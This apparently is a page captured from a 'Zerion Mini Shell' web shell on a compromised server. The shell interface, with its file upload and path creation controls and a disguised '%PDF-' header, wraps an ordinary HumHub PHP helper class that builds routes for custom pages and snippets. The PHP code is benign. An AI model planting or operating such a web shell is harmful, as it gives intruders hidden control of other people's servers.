%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/custom_pages/helpers/
Upload File :
Create Path :
Current File : /home/vacivi36/intranet.vacivitta.com.br/protected/modules/custom_pages/helpers/Url.php

<?php

namespace humhub\modules\custom_pages\helpers;

use humhub\components\ActiveRecord;
use humhub\modules\content\components\ContentContainerActiveRecord;
use humhub\modules\custom_pages\models\CustomContentContainer;
use humhub\modules\custom_pages\models\PageType;
use humhub\modules\custom_pages\models\Snippet;
use humhub\modules\custom_pages\models\Target;
use humhub\modules\custom_pages\modules\template\models\ContainerContent;
use yii\helpers\Url as BaseUrl;

class Url extends BaseUrl
{

    const ROUTE_CONFIG = '/custom_pages/config';
    const ROUTE_EDIT_PAGE = '/custom_pages/page/edit';

    const ROUTE_PAGE_DELETE = '/custom_pages/page/delete';
    const ROUTE_SNIPPET_DELETE = '/custom_pages/snippet/delete';

    const ROUTE_EDIT_SNIPPET = '/custom_pages/snippet/edit';
    const ROUTE_PAGE_OVERVIEW = '/custom_pages/page';

    const ROUTE_PAGE_ADD = '/custom_pages/page/add';
    const ROUTE_SNIPPET_ADD = '/custom_pages/snippet/add';

    const ROUTE_SNIPPET_OVERVIEW = '/custom_pages/snippet';

    const ROUTE_TEMPLATE_LAYOUT_ADMIN = '/custom_pages/template/layout-admin';

    const ROUTE_PAGE_INLINE_EDIT = '/custom_pages/view';

    const ROUTE_SNIPPET_INLINE_EDIT = '/custom_pages/snippet/edit-snippet';

    public static function toInlineEdit(CustomContentContainer $content, ContentContainerActiveRecord $container = null)
    {
        if($content->getPageType() === PageType::Snippet) {
            return static::create(static::ROUTE_SNIPPET_INLINE_EDIT, ['id' => $content->id], $container);
        } else {
            return static::create(static::ROUTE_PAGE_INLINE_EDIT, ['id' => $content->id, 'editMode' => 1], $container);
        }
    }

    public static function toTemplateLayoutAdmin()
    {
        return static::toRoute(static::ROUTE_TEMPLATE_LAYOUT_ADMIN);
    }

    private static function create($route, $params = [], ContentContainerActiveRecord $container = null)
    {
        if($container) {
            return $container->createUrl($route, $params);
        } else {
            $params[0] = $route;
            return  static::to($params);
        }
    }
    /**
     * @return string
     */
    public static function toModuleConfig()
    {
        return static::toRoute(static::ROUTE_CONFIG);
    }

    public static function toCreatePage($targetId, $pageType, $contentType = null, ContentContainerActiveRecord $container = null)
    {
        if($targetId instanceof Target) {
            $container = $targetId->container;
            $targetId = $targetId->id;
        }

        if($contentType instanceof ContentContainerActiveRecord) {
            $container = $contentType;
            $contentType = null;
        }

        $route = ($pageType === PageType::Page) ? static::ROUTE_EDIT_PAGE : static::ROUTE_EDIT_SNIPPET;

        return static::create($route, ['targetId' => $targetId, 'type' => $contentType], $container);
    }

    public static function toChooseContentType($targetId, $pageType, ContentContainerActiveRecord $container = null)
    {
        if($targetId instanceof Target) {
            $container = $targetId->container;
            $targetId = $targetId->id;
        }

        $route = ($pageType === PageType::Page) ? static::ROUTE_PAGE_ADD : static::ROUTE_SNIPPET_ADD;

        return static::create($route, ['targetId' => $targetId], $container);
    }

    public static function toAddContentType($targetId, $pageType, $contentType, ContentContainerActiveRecord $container = null)
    {
        if($targetId instanceof Target) {
            $container = $targetId->container;
            $targetId = $targetId->id;
        }

        $route = ($pageType === PageType::Page) ? static::ROUTE_PAGE_ADD : static::ROUTE_SNIPPET_ADD;

        return static::create($route, ['targetId' => $targetId, 'type' => $contentType], $container);
    }


    public static function toEditPage($id, ContentContainerActiveRecord $container = null)
    {
        if($id instanceof ActiveRecord) {
            $id = $id->id;
        }

        return static::create(static::ROUTE_EDIT_PAGE, ['id' => $id], $container);
    }

    public static function toEditSnippet($id,  ContentContainerActiveRecord $container = null)
    {
        if($id instanceof ActiveRecord) {
            $id = $id->id;
        }

        return static::create(static::ROUTE_EDIT_SNIPPET, ['id' => $id], $container);
    }

    public static function toPageOverview(ContentContainerActiveRecord $container = null)
    {
        return static::toOverview(PageType::Page, $container);
    }

    public static function toOverview($pageType, ContentContainerActiveRecord $container = null)
    {
        $route = ($pageType === PageType::Page) ? static::ROUTE_PAGE_OVERVIEW : static::ROUTE_SNIPPET_OVERVIEW;
        return static::create($route, [], $container);
    }

    public static function toSnippetOverview(ContentContainerActiveRecord $container = null)
    {
        return static::create(static::ROUTE_SNIPPET_OVERVIEW, [], $container);
    }

    public static function toDeletePage(CustomContentContainer $page, ContentContainerActiveRecord $container = null)
    {
        $route = ($page->getPageType() === PageType::Page) ? static::ROUTE_PAGE_DELETE : static::ROUTE_SNIPPET_DELETE;
        return static::create($route, ['id' => $page->id], $container);
    }


}

Zerion Mini Shell 1.0